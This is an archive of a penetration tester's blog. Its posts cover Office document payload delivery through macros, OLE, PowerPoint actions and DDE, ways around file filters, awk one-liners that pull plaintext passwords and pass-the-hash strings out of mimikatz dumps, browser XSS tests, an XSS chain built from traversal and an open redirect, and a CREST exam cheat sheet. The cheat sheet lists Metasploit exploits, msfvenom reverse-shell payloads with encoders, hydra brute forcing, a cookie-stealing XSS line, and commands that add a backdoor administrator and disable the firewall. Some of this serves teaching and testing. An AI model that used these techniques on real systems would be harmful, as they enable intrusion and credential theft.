Wednesday 1 March 2017

Office Document Macros, OLE, Actions, DDE Payloads and Filter Bypass

There are a few different ways payloads can be delivered through Microsoft Office documents, including macros, OLE embedding, Addins, Actions and DDE. To make life easier I wanted to list them all together in one place. A lot of what is mentioned below is specific to Word, Excel or Powerpoint however don't forget that Office actually includes, Word, Excel, Powerpoint, Access, Outlook and OneNote. If a vector doesn't work in one product, try another.

When testing any of the below remember that Office may require basic user interaction to either "Enable Editing" for documents from the internet or "Enable Content" for active content.


Macros are probably the most well-known method for abusing Office documents. Essentially Office allows users to include VBScript to add dynamic functionality however there are no restrictions on this functionality. Simple payloads will execute a single process e.g. powershell, more advanced payloads will load WinAPI functions to inject code into memory without ever launching additional processes.

So how do you get your VBScript to load? Well Word provides two useful functions AutoOpen() and Document_Open() that can be used to automatically launch a payload when a document is opened. These functions will work in .doc .docm  and dotm, but not docx.

In Excel you can use Workbook_Open() but as with Word you'll need to use an xlsm file. An example payload is shown below:

Private Sub Workbook_Open()
Msgbox "test macro"
CreateObject("Wscript.Shell").Run "calc"
End Sub

A nice real-world macro and OLE example using Empire is linked below:

Instead of embedding the payload directly in the current document you can also use templates/addins. So although the current document may not contain anything malicious if the template/addin does then it will still execute.

ActiveX Components

Aside from the standard macro launching functions (AutoOpen etc.), Word/Excel/Powerpoint also support ActiveX "Controls" and "Fields" which can be used to either automatically launch macros or trick users into executing macros. Basic options include buttons and images, more exotic options include frames and the built-in Microsoft browser.

There's a great overview of ActiveX controls at the link below:

The "Fields" function in Word (Insert -> QuickParts -> Field) is another interesting vector, in particular the Link and MacroButton functions offer ways to embed/activate content.

OLE Embedding

After Macros the next most interesting Office feature is probably OLE embedding. By default Office allows users to embed external content in documents. This can be used to insert pictures, videos or other documents within the current document. What's awesome is that you can also just insert a binary or a malicious script. This works across Word, Excel and Powerpoint.

To insert an object select "Insert" -> "Object":

All the user has to do is double click the embedded content and you get a shell.

Powerpoint Actions

Powerpoint is obviously designed for presentations and most people are familiar with transitions, (making memes fly in and out). But what you may not know is that Powerpoint supports OnClick and OnMouseOver "Actions". What are actions? Well anything you like, they basically allow you to execute a process of your choosing including arguments. The one limitation with this vector is that the user needs to view the slides in presentation mode, so you'll need to add some text telling the user to press F5.

An in-the-wild example that used an action to load an embedded payload is linked below:

Dynamic Data Exchange

DDE (dynamic data exchange) is a semi-legacy Windows feature used for displaying data from external data sources in your current document. Sounds reasonable enough right? Well the issue with this functionality is that it allows you to not just call external documents but also processes and you can supply command line arguments too. So another very hackable feature.

The formula below can be used to test in Excel, this works in both xls and xlsx:

=cmd|'/c calc'!A0

Remember that as well as =, Excel also supports the use of + - @ characters at the start of a formula.

You can also view/edit the DDE XML directly by opening your document with 7zip:

<ddeLink xmlns:r="" 
ddeService="cmd" ddeTopic="/c calc">
<ddeItem name="A0" advise="1"/>
<ddeItem name="StdDocumentName" ole="1" advise="1"/>

A real-world example exploiting this issue can be found below:’

It's worth mentioning that I couldn't find a way to execute DDE in Word or Powerpoint. I'd be interested to know if this is possible or not.

Filter Bypasses

Many companies/products will filter content based on either the extension or content-type of a file. Lucky for us Office has many different formats that will modify the appearance of our payload but not the action of the payload.

To experiment with such bypasses take a look at the "Save As" supported formats. In Word/Excel/Powerpoint you'll see there are many different output formats.

You can use the different formats on their own or try renaming the extension back to doc/ppt/xls. In most instances the payload will still execute despite having the content modified.

Two common bypasses include:
  • Word doc saved as XML then renamed to doc
  • Word doc saved as MHTML then renamed to doc
For Excel formula filter bypass, Excel did used to support an "Evaluate" function so you could spread a command over multiple cells, concatenate and then evaluate (execute) the statement. This was unfortunately removed so can no longer be used maliciously. The other major limitation with Excel is you can't execute Macros directly from formulas (afaik!)

Further Research

  • The "Fields" as well as the "Data Source/DB" feature in Word have multiple potentially interesting functions. I couldn't find a way to exploit them, maybe you can?
  • In Office hyperlinks are quite interesting as they let you link to local files however you can't supply arguments. It would be interesting to see if args could be supplied somehow or links abused in another way.

Final Thoughts

Microsoft Office provides multiple different ways to execute code. There are still quite a few features that I feel could be exploited with more research and given how commonly used Office documents are for payload delivery I can imagine we'll see more vectors in the future.

I didn't mention prevention/detection above but from a defensive point ideally you want to block any email attachments containing a Macro or OLE. For detection it's relatively easy to spot suspicious child processes (cmd/powershell/wscript etc.) coming from Office, direct to WinAPI stuff is more complex to detect but not impossible with the right tools.

Hope you guys have found this useful, if I missed anything obvious out let me know in the comments below.

Pwndizzle out.

Tuesday 30 August 2016

Random String Python Text Classifier Example

In this post I'm going to explain how to write a simple NaiveBayes text classifier in Python and provide some example code.

Machine Learning!? Awesome!!1!

My original goal was to tell the difference between regular dictionary words and random strings. I looked at using manual ngram frequency analysis and this partially worked but I wanted to try out an ML solution for comparison.

I don't have much ML experience but it was easy to build a working script using the scikit library. This library abstracts away much of the mathematical complexity and offers a quick and high level way to implement ML concepts. In just a few lines of python I was able to build a classifier with 93% accuracy.

It's worth mentioning I did not use the "bag of words" approach as I was looking at analysing the structure of individual words as opposed to sentences. Changing the CountVectorizer parameters you could look at sentences or groups of words.

Building a Classifier

Building a classifier is quite simple, you just need to collect your data, format it, vectorize it, then train your model. In my script below I pretty much follow that process. First up I read in some data using pandas. I have two csv data sets, one file has normal dictionary words, the other random words. Each row contains the type, 0 or 1 (normal or random), and then the data which is just a word. For example:

normal.csv random.csv
0,apple 1,fdsgsdgfdg
0,banana 1,plicawq
0,orange               1,mncdlppl

In each file I used the first 5000 words for training and the last 5000 for testing. To vectorize the words I used the CountVectorizer with the ngram function, this breaks the words up based on their ngrams and converts them to numbers.

With the data ready I used the "fit" function to train the classifier with the training data set. To measure the accuracy of the model I used the "score" function and test data set. And finally to manually test some values I used the "predict" function. In the end my classifier could function with a 93% accuracy which I thought was pretty good considering I made hardly any customisations.

I used the Multinomial Naive Bayes function as this was recommended however other algorithms may work more effectively. The classifier and vectorizer also support a number of additional parameters that can be adjusted to improve the accuracy, I modified them only slightly, further improvements could likely be made here as well.

The Code

The following requires Python 2.7, scikit, pandas and also the two csv files containing data as described above.

from sklearn.feature_extraction.text import CountVectorizer
from sklearn.naive_bayes import MultinomialNB
import pandas as pd
from time import time

#Start timer
t0 = time()

#Create classifier and vectorizer
clf = MultinomialNB(alpha=0.1)
vec = CountVectorizer(analyzer='char_wb', ngram_range=(2, 4), min_df=1)

#Read in wordset and vectorize words
#Training data
train_set = pd.concat(pd.read_csv(f, names=["type","word"], nrows=5000) for f in ["normal.csv","random.csv"])
train_types = train_set.type.tolist()
train_words = vec.fit_transform(train_set.word.tolist())

#Test data
test_set = pd.concat(pd.read_csv(f, names=["type","word"], skiprows=5000, nrows=5000) for f in ["normal.csv","random.csv"])
test_types = test_set.type.tolist()
test_words = vec.transform(test_set.word.tolist())

#Train classifier, train_types)
train_time = time() - t0
print("Training time: %0.3fs" % train_time)

#Use test data to evaluate classifier
print "Accuracy is " + str(clf.score(test_words, test_types))
test_time = time() - train_time - t0
print("Testing time: %0.3fs" % test_time)

#Classify words
testdata = ['xgrdqwlpfrr','apple']
print testdata
print clf.predict(vec.transform(testdata))

predict_time = time() - test_time - train_time - t0
print("Predict time: %0.3fs" % predict_time)

Running the script should give you something like the following:

Scikit Tips

If you're trying to install scikit in windows you'll need to install the relevant .whl package. In Linux I had to upgrade pip before it would install.

Final Thoughts

I was amazed how quick and easy it was to write a simple classifier, machine learning has definitely gone mainstream. I focused on finding the difference between normal and random strings however classifiers can be used to tell the difference between all kinds of data sets.

Obviously being a security blog you may be wondering why I'd be looking into text classifiers. Well when analysing data to detect attackers you'll often want to classify various activity. Performing analysis with a classifier can give some interesting results :)

Hope you guys have found this useful, any questions or comments, leave a message below.

Pwndizzle out.

Tuesday 27 October 2015

Parse Mimikatz Output One-Liner

Love mimikatz but hate the output? Yeah me too. In this post I'll show you how to parse the output with one simple line.

The Output

Running either the mimikatz binary or powershell equivalent Invoke-Mimikatz will give you output similar to the following:
Authentication Id : 0 ; 92831308 (00000000:05889d8c)
Session           : RemoteInteractive from 3
User Name         : john.smith
Domain            : ACME
SID               : S-1-5-21-2052118978-2816230894-3584936141-8335
 msv : 
  [00000003] Primary
  * Username : john.smith
  * Domain   : ACME
  * NTLM     : 1acd1a77416c50969d66867cd1e27e91
  * SHA1     : fc1a13cdf5e6d8da249812b320764fbaac0cb1bb
  [00010000] CredentialKeys
  * NTLM     : 1acd1a77416c50969d66867cd1e27e91
  * SHA1     : fc1a13cdf5e6d8da249812b320764fbaac0cb1bb
 tspkg : 
 wdigest : 
  * Username : john.smith
  * Domain   : ACME
  * Password : Myl0ngs3cretP@ssword
 kerberos : 
  * Username : john.smith
  * Domain   : ACME.mycompany
  * Password : (null)
 ssp : 
 credman : 
In most situations you'll often just want to know the users and passwords however this is hidden among a whole load of other output. Now we could go and patch the mimikatz code or we could use a cheeky one-liner...

I Love A One-Liner

My goal was to obtain a list of all usernames with domains and passwords from a set of mimikatz output files. This is simple to do with the following one-liner:
cat *|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($12)>2) print $8 "\\" $4 ":" $12}'|sort -u

Parsing the example above you get the following:

Hows it work?
  • I start by outputting all files in the current directory and removing carriage return characters as these seemed to break awk. I also remove tab characters to clean up the output.
  • Next up I used awk to effectively put the username, domain and password all on the same line. This makes greppping, cutting or more awking easier.
  • I used grep to remove lines I didn't care about. For example NTLM hashes and null passwords.
  • I then did a final awk to remove hex string passwords. I'm not sure how/why mimikatz generates this output, if anyone knows please leave a comment! :)
  • And finally I sorted and uniqued the list.

I modified the one-liner to also output just the usernames and passwords without the domain:
cat *|tr -d '\011\015' |awk '/Username/ { user=$0; getline; getline; print user " " $0}'|grep -v "* LM\|* NTLM\|Microsoft_OC1\|* Password : (null)"|awk '{if (length($8)>2) print $4 ":" $8}'|sort -u
And also output usernames and NTLM hashes ready for use with pth-winexe:
cat *|tr -d '\011\015' |awk '/Username/ { user=$0; getline; domain=$0; getline; print user " " domain " " $0}'|grep -v "* LM\|* Password\|Microsoft_OC1"|awk '{if (length($12)>2) print $8 "/" $4 "%aad3b435b51404eeaad3b435b51404ee:" $12}'|sort -u
If you want a different output format just modify the final print statement.

Final Thoughts

Mimikatz is such an awesome tool unfortunately the default output is not that user/grep friendly. Luckily with a simple one-liner we can easily work the output into something more useful. As mentioned in my smb-share enumeration post, don't be afraid to jump in and learn some grep/awk/sed, these tools can speed up data analysis massively!

Hopefully this post has been useful, if you have any suggestions for improvements or better ways to get usable output then leave a comment below.

Pwndizzle out.

Thursday 23 July 2015

XSS, Extensions and Content-Types

In this post I'll look at which Content-Types and Extensions can actually be used for XSS in modern browsers.

Why does Content-Type and Extension matter?

Applications come in many different shapes and sizes and XSS can occur all over the place. It's easy to assume that just because an application returns you a response with unfiltered/unencoded output you've found an exploitable XSS issue but this is often not the case. Browsers render content based on a number of factors including content-type returned by the server, page content and page extension, without the correct combination XSS won't be possible.

To try and get a definitive answer of what works and what doesn't I thought I'd do some testing. I used multiple file types each containing their legitimate content however I also embedded a JavaScript alert payload in each. Each test case was ran against Chrome 43, IE 11 and Firefox 39. In the tables below "yes" means the payload rendered and "no" means it didn't.

Test #1 - Following Best Practice

In the first test I forced the server to return the correct extension and content-type for each test page.

Extension Chrome IE Firefox
None None yes yes yes
text/plain txt no no no
text/html html yes yes yes
application/javascript js no no no
application/json json no no no
application/xml xml yes yes yes
text/css css no no no
image/jpeg jpeg no no no

Following best practice modern browsers appeared to be pretty secure. The one exception appears to be XML, it seems odd that the browser would allow the rendering of JavaScript in an XML file.

Test #2 - Modifying Extension

In the second test I made the server return the correct content-type but forced a .html extension.

Extension Chrome IE Firefox
None html yes yes yes
text/plain html no no no
text/html html yes yes yes
application/javascript html no yes no
application/json html no no no
application/xml html yes yes yes
text/css html no no no
image/jpeg html no no no

This test seemed to show that browsers will prioritize the use of the content-type over the extension.

Test #3 - Using a text/html Content-Type

In the third test I used the correct extension for each file but made the server return a text/html content-type.

Extension Chrome IE Firefox
text/html None yes yes yes
text/html txt yes yes yes
text/html html yes yes yes
text/html js yes yes yes
text/html json yes yes yes
text/html xml yes yes yes
text/html css yes yes yes
text/html jpeg yes no yes

It looks like browsers rely heavily on the content-type returned by the server. It doesn't matter about the extension or contents of the file, the browser will blindly follow the content-type returned.

Test #4 - Using a text/plain Content-Type

Next I used the correct extension for each file but made the server return a text/plain content-type.

Extension Chrome IE Firefox
text/plain txt no no no
text/plain html no no no
text/plain js no no no
text/plain json no no no
text/plain xml no no no
text/plain css no no no
text/plain jpeg no no no

When using a content-type of text/plain none of the payloads executed. I can't remember for sure, but I believe in the past text/plain used to allow XSS? Looks like this is no longer possible.

Test #5 - MIME sniffing

In this last test case I accessed a page that had no extension and received no content-type header from the server. This should have caused the browser to fall back on mime sniffing to render the page.

Content-Type Extension Chrome IE Firefox
text/plain None None no yes no
text/html None None yes yes yes
application/javascriptNoneNone yes yes yes
application/json None None no yes no
application/xml None None no yes no
text/css None None no yes no
image/jpeg None None no no no

Both Chrome and Firefox refused to render pages that contained additional non-html content. IE however didn't seem to care what the page content was, if it contained HTML it rendered!


Performing application testing on a regular basis I find content-type and extension XSS issues arise quite a lot. This test showed that modern browsers are relatively secure as long as the correct content-type is returned. All browsers also seemed to implement the same analysis techniques aside from IE which seemed slightly more permissive.

Hopefully you guys have found this post useful, if anyone has any suggestions for bypasses to achieve XSS in any of the above, or if I've listed any findings incorrectly (quite possible) drop me a message below :)

Pwndizzle out.

Thursday 30 April 2015

Wednesday 31 December 2014

CREST CRT Exam Preparation

I'm going to be taking the CREST CRT exam in January and wanted to share my preparation notes with the world to save everyone else the time and effort of digging up this information to pass the exam.

Note: I have not taken the exam yet, I do not know the answers and am in no way affiliated with CREST.
Note Note: I passed the exam. Due to confidentiality reasons I can't provide any hints I will however leave this post up to assist future participants :)

What have we gota do? 

First things first, the official CREST site and CRT page is here:

To quote the official documentation - "The Certification Examination has two components: a multiple choice written question section and a practical assessment which is also examined using multiple choice answers. The practical assessment tests candidates’ hands-on penetration testing methodology and skills against reference networks, hosts and applications."

For the "written question" section I'd recommend Wikipedia or some SANS/CEH material. For the practical side of things see below.

Getting hands-on!

My goal during the practical exam is to be as quick and efficient as possible. I want to minimize time spent analyzing results, configuring tools or writing custom stuff and maximize time spent answering questions! I plan to use a Windows box with Kali Linux VM. Below is my full list of tools and one-liners:


nmap -T4 -A -Pn -oA scan -v scan
for i in 21 22 23 80 443 445;do cat scan.gnmap|grep " $i/open"|cut -d " " -f2 > $i.txt;doneParse results into txt files per port
nmap -T4 -v -oA myshares --script smb-enum-shares --script-args smbuser=pwndizzle,smbpass=mypassword -p445 for open shares
dig axfr @ns1.example.comDNS zone transfer (Linux)
tcp.port, tcp.srcport, ip.src, ip.dst, or, andWireshark syntax
tcpdump tcp port 80 -w output.pcap -i eth0Tcpdump syntax
mount /mnt/nfsMount an NFS share
mount -o nolock -t nfs -o proto=tcp,port=2049 /mntMount an NFS share
mount -t cifs -o username=<user>,password=<password>, //WIN_PC_IP/<share name> /mnt/windowsMount a Windows share
net use x: \\filesvr001\folder1 <password> /user:domain01\jsmith /savecred /p:noMount a Windows share
net use \\<target>\IPC$ "" /u:""Null session
rpcclient -U "" <target>Null session domain info
onesixtyone -c names -i snmphostsSNMP enum
snmpcheck -t -c publicSNMP enum
nslookup -> set type=any -> ls -d <domain>DNS zone transfer (Windows)
nmap --script=smb-check-vulns --script-args=unsafe=1 -p445 <host>SMB vuln scan


use auxiliary/scanner/http/dir_scannerScan for directories
use auxiliary/scanner/http/jboss_vulnscanJBoss scan
use exploit/multi/http/jboss_maindeployerJBoss deploy
use auxiliary/scanner/mssql/mssql_loginMSSQL cred scan
use exploit/windows/mssql/mssql_payloadMSSQL payload
use auxiliary/scanner/mysql/mysql_versionMySQL version scan
use auxiliary/scanner/mysql/mysql_loginMySQL login
use auxiliary/scanner/oracle/oracle_loginOracle login
use exploit/windows/dcerpc/ms03_026_dcomeazymode
use exploit/windows/smb/ms06_040_netapieazymode
use exploit/windows/smb/ms08_067_netapieazymode
use exploit/windows/smb/ms09_050_smb2_negotiate_func_indexeazymode
run post/windows/gather/win_privsShow privs of current user
use exploit/windows/local/bypassuac (check if x86/64 and set target)Bypass uac on win7+
load mimikatz -> wdigestDump creds
load incongnito -> list_tokens -> impersonate_tokenUse tokens
use post/windows/gather/credentials/gppGPP
run post/windows/gather/local_admin_search_enumTest other machines
msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=4445 R | msfencode -t exe -e x86/shikata_ga_nai -c 5 > custom.exeStandalone meterpreter
use exploit/multi/script/web_deliveryPowershell payload delivery
post/windows/manage/powershell/exec_powershellUpload and run a PS script through a session
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -a x86 -f exe -e x86/shikata_ga_nai -b '\x00' -i 3 > meter.exeGenerate standalone payload


ipconfig /all
Displays the full information about your NIC’s.
ipconfig /displaydns
Displays your local DNS cache.
netstat -nabo
Lists ports / connections with corresponding process (-b), don’t perform looking (-n), all connections (-a) and owning process ID (-o)
netstat -r
Displays the routing table

netstat -anob | findstr “services, process or port”
The “b” flag makes the command take longer but will output the process name using each of the connections.
netsh diag show all
{XP only} Shows information on network services and adapters
net view
Queries NBNS/SMB (SAMBA) and tries to find all hosts in your current workgroup or domain.
net view /domain
List all domains available to the host
net view /domain:otherdomain
Queries NBNS/SMB (SAMBA) and tries to find all hosts in the ‘otherdomain’
net user %USERNAME% /domain
Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
net user /domain
Lists all of the domain users
net accounts
Prints the password policy for the local system. This can be different and superseded by the domain policy.
net accounts /domain
Prints the password policy for the domain
net localgroup administrators
Prints the members of the Administrators local group
net localgroup administrators /domain
as this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
net group “Domain Admins” /domain
Prints the members of the Domain Admins group
net group “Enterprise Admins” /domain
Prints the members of the Enterprise Admins group
net group “Domain Controllers” /domain
Prints the list of Domain Controllers for the current domain
net share
Displays your currently shared SMB entries, and what path(s) they point to
net session | find / “\\”

arp -a
Lists all the systems currently in the machine’s ARP table.
route print
Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
View the current user
tasklist /v
List processes
taskkill /F /IM "cmd.exe"
Kill a process by its name
net user hacker hacker /add
Creates a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
net localgroup administrators hacker /add
Adds the new user ‘hacker’ to the local administrators group
net share nothing$=C:\ /grant:hacker,FULL /unlimited
Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to access, or modify anything on that drive.

One thing to note is that in newer (will have to look up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn’t a problem but it is something to keep in mind
net user username /active:yes /domain
Changes an inactive / disabled account to active. This can useful for re-enabling old domain admins to use, but still puts up a red flag if those accounts are being watched.
netsh firewall set opmode disable
Disables the local windows firewall

wmic useraccount get name,sid     -  Retrieve name and sid from command line.


apt-get install finger rsh-client jxplorer sipcalcFinger not installed in Kali by default
apt-get install rsh-clientR-tools not installed in Kali by default
uname -aKernel version
cat /etc/<distro>-releaseRelease version
showrev -pRevision
rlogin -l <user> <target>rlogin
rsh <target> <command>rsh
find / -perm +6000 -type f -exec ls -ld {} \; > setuid.txt &Find setuid binaries
finger <username>@<ip>Retrieve user info
mysql -h <ip> -u <user> -p <password>Connect to mysql
oscanner -s <ip> -r <repfile>Oracle scanner


hydra -L users -P passwords -M 21.txt ftpBrute ftp
hydra -L users -P passwords -M 22.txt sshBrute ssh
hydra -L users -P passwords -M 445.txt smbBrute smb

User List


john --wordlist=/usr/share/wordlists/rockyou.txt hashesJTR default


document.write('<img src="' + document.cookie + '" />)XSS steal cookie
sqlmap -u <target> -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/test.php"Targeted scan
sqlmap -u --forms --batch --crawl=10 --cookie=jsessionid=12345 --level=5 --risk=3Automated scan

Wednesday 26 November 2014

Traversal to Redirect to Remote JS XSS

I recently came across an interesting snippet of Javascript that looked exploitable but the path to exploitation wasn't that obvious. This post will be about how I achieved a working XSS.

The Code

The vulnerable page was loaded with a URL something like this:
And contained Javascript looking something like this:
var country =;
var s = document.createElement('script');
var src = '/js/timezone-js/timezone-data[' + country + '].min.js';
s.src = src;

Can you spot how to exploit it? :)


In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".

Once the above script runs you end up with something like:
<script src="/js/timezone-js/timezone-data[test].min.js"></script>
So how can we exploit this?

From Text to Traversal

In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.

We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:[UK.min.js]?

But we still have no way to load our own JS...or do we?

From Traversal to Dead End?

The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.

For example:
Unfortunately I couldn't find such a place....but I did have an open redirection I could play with.

From Redirection to JS

The open redirection was pretty standard something like:
Open redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.

Combining the traversal and redirection the complete attack URL was:

Which would cause the in-page JS to create a script tag that would load our malicious remote JS:
<script src="/../../../../accounts/logout/?next=].min.js"><script>

Congratulations you've achieved XSS by loading remote JS from traversal and redirection!

The Fix

I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.
country = country.replace(/[^\w\-]/g, '');

Final Thoughts

I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)

If you have any questions or feedback just drop me a comment below. Pwndizzle out.